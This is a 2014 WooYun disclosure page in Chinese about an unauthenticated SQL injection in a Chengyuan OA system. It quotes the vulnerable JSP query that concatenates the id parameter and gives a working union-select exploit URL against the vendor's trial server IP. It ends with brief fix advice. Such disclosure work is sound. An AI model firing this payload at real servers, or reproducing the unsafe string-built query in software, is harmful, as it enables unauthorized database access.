当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062536

漏洞标题：某OA系统SQL注入漏洞

相关厂商：深圳市承元软件技术有限公司

漏洞作者： 路人甲

提交时间：2014-08-19 15:17

修复时间：2014-11-17 15:18

公开时间：2014-11-17 15:18

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：16

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-08-19： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-11-17： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

某OA系统SQL注入漏洞一枚，无需登录

详细说明：

承元OA协同办公系统
承元OA协同办公系统http://www.chysoft.net
官方在线试用地址：
http://183.61.183.189:81/
存在漏洞的页面：
/engine/websigncontrol/readsigndata.jsp
参数：id
代码如下：

try
{
    conn = ConnectionManager.getInstance().getConnection();
    rs = conn.createStatement().executeQuery("select FileContent from ElecStampData_sys where guid='" + id + "'");
}


漏洞证明：

漏洞利用EXP：

http://183.61.183.189:81/engine/websigncontrol/readsigndata.jsp?id=%27%20union%20select%20concat%28user%28%29%2Cdatabase%28%29%29--%20


访问该链接后会自动下载名为readsigndata.jsp的文件，文件中包含select语句信息。

sql-injection.PNG

修复方案：

1.过滤id参数
2.限制访问或下载

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝